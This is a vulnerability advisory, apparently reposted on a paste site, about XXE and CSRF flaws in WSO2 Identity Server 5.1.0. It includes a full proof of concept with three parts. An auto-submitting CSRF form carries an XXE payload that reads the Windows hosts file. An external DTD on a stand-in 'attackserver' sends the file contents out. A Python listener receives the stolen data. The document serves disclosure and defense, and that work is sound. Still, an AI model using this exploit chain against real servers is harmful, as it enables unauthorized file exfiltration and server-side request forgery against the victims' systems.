WSO2 Identity Server 5.1.0 - Multiple Vulnerabilities

  1. [+] Credits: John Page aka HYP3RLINX
  2.  
  3. [+] Website: hyp3rlinx.altervista.org
  4.  
  5. [+] Source:
  6. http://hyp3rlinx.altervista.org/advisories/WSO2-IDENTITY-SERVER-v5.1.0-XML-External-Entity.txt
  7.  
  8. [+] ISR: ApparitionSec
  9.  
  10.  
  11. Vendor:
  12. =============
  13. www.wso2.com
  14.  
  15.  
  16. Product:
  17. ============================
  18. Wso2 Identity Server v5.1.0
  19.  
  20. As the industry’s first enterprise identity bus (EIB), WSO2 Identity Server
  21. is the central backbone
  22. that connects and manages multiple identities across applications, APIs,
  23. the cloud, mobile, and Internet
  24. of Things devices, regardless of the standards on which they are based. The
  25. multi-tenant WSO2 Identity Server
  26. can be deployed directly on servers or in the cloud, and has the ability to
  27. propagate identities across geographical
  28. and enterprise borders in a connected business environment.
  29.  
  30.  
  31. Vulnerability Type:
  32. ============================
  33. XML External Entity / CSRF
  34.  
  35.  
  36. CVE Reference(s):
  37. ===================
  38. CVE-2016-4312 (XXE)
  39. CVE-2016-4311 (CSRF)
  40.  
  41.  
  42. Vulnerability Details:
  43. =====================
  44.  
  45.  
  46. WSO2IS XML parser is vulnerable to XXE attack in the XACML flow, this can
  47. be exploited when XML input containing a reference to an
  48. external entity is processed by a weakly configured XML parser. The attack
  49. leads to the disclosure and exfiltration of confidential
  50. data and arbitrary system files, denial of service, server side request
  51. forgery, port scanning from the perspective of the machine
  52. where the parser is located (localhost), and other system impacts.
  53.  
  54. The exploit can be carried out locally by an internal malicious user or
  55. remote via CSRF if an authenticated user clicks an attacker
  56. supplied link or visits a evil webpage. In case of WSO2IS system files can
  57. be read / exfiltrated to the remote attackers server
  58. for safe keeping -_-
  59.  
  60. References:
  61. https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2016-0096
  62.  
  63.  
  64. Exploit code(s):
  65. ===============
  66.  
  67. XXE POC, exfiltrate the victims Windows hosts file to our remote server.
  68.  
  69. 1) Form for the XXE POST request.
  70.  
  71. <form  id='XXE' action="
  72. https://victim-server:9443/carbon/entitlement/eval-policy-submit.jsp?withPDP=false"
  73. method="post">
  74. <textarea rows="20" cols="100" name="txtRequest">
  75. <?xml version="1.0" encoding="UTF-8"?>
  76. <!DOCTYPE roottag [
  77. <!ENTITY % file SYSTEM "C:\Windows\System32\drivers\etc\hosts">
  78. <!ENTITY % dtd SYSTEM "http://attackserver:8080/payload.dtd">
  79. %dtd;]>
  80. <Request xmlns="urn:oasis:names:tc:xacml:3.0:core:schema:wd-17"
  81. CombinedDecision="false" ReturnPolicyIdList="false">
  82. <Attributes>
  83. <Attribute>&send;</Attribute>
  84. </Attributes>
  85. </Request>
  86. &lt;/textarea&gt;
  87. <input type="hidden" name="forwardTo" value="eval-policy.jsp">
  88. <script>document.getElementById('XXE').submit()</script>
  89. </form>
  90.  
  91.  
  92. 2) DTD file on attacker server.
  93.  
  94. <?xml version="1.0" encoding="UTF-8"?>
  95. <!ENTITY % all "<!ENTITY send SYSTEM 'http://attackserver:8080?%file;'>">
  96. %all;
  97.  
  98.  
  99. 3) On attack server create listener for the victims HTTP request.
  100.  
  101. python -m SimpleHTTPServer 8080
  102.  
  103.  
  104. Disclosure Timeline:
  105. ============================================
  106. Vendor Notification: May 6, 2016
  107. Vendor Acknowledgement: May 6, 2016
  108. Vendor Fix / Customer Alerts: June 30, 2016
  109. August 12, 2016  : Public Disclosure
  110.  
  111.  
  112. Exploitation Technique:
  113. =======================
  114. Remote
  115.  
  116.  
  117. Severity Level:
  118. ===============
  119. High
  120.  
  121.  
  122. [+] Disclaimer
  123. The information contained within this advisory is supplied "as-is" with no
  124. warranties or guarantees of fitness of use or otherwise.
  125. Permission is hereby granted for the redistribution of this advisory,
  126. provided that it is not altered except by reformatting it, and
  127. that due credit is given. Permission is explicitly given for insertion in
  128. vulnerability databases and similar, provided that due credit
  129. is given to the author. The author is not responsible for any misuse of the
  130. information contained herein and accepts no responsibility
  131. for any damage caused by the use or misuse of this information. The author
  132. prohibits any malicious use of security related information
  133. or exploits by the author or elsewhere.
  134.  
  135. HYP3RLINX
  136.  

連絡先: info@paste.jp
Created by Paste.jp - v7.0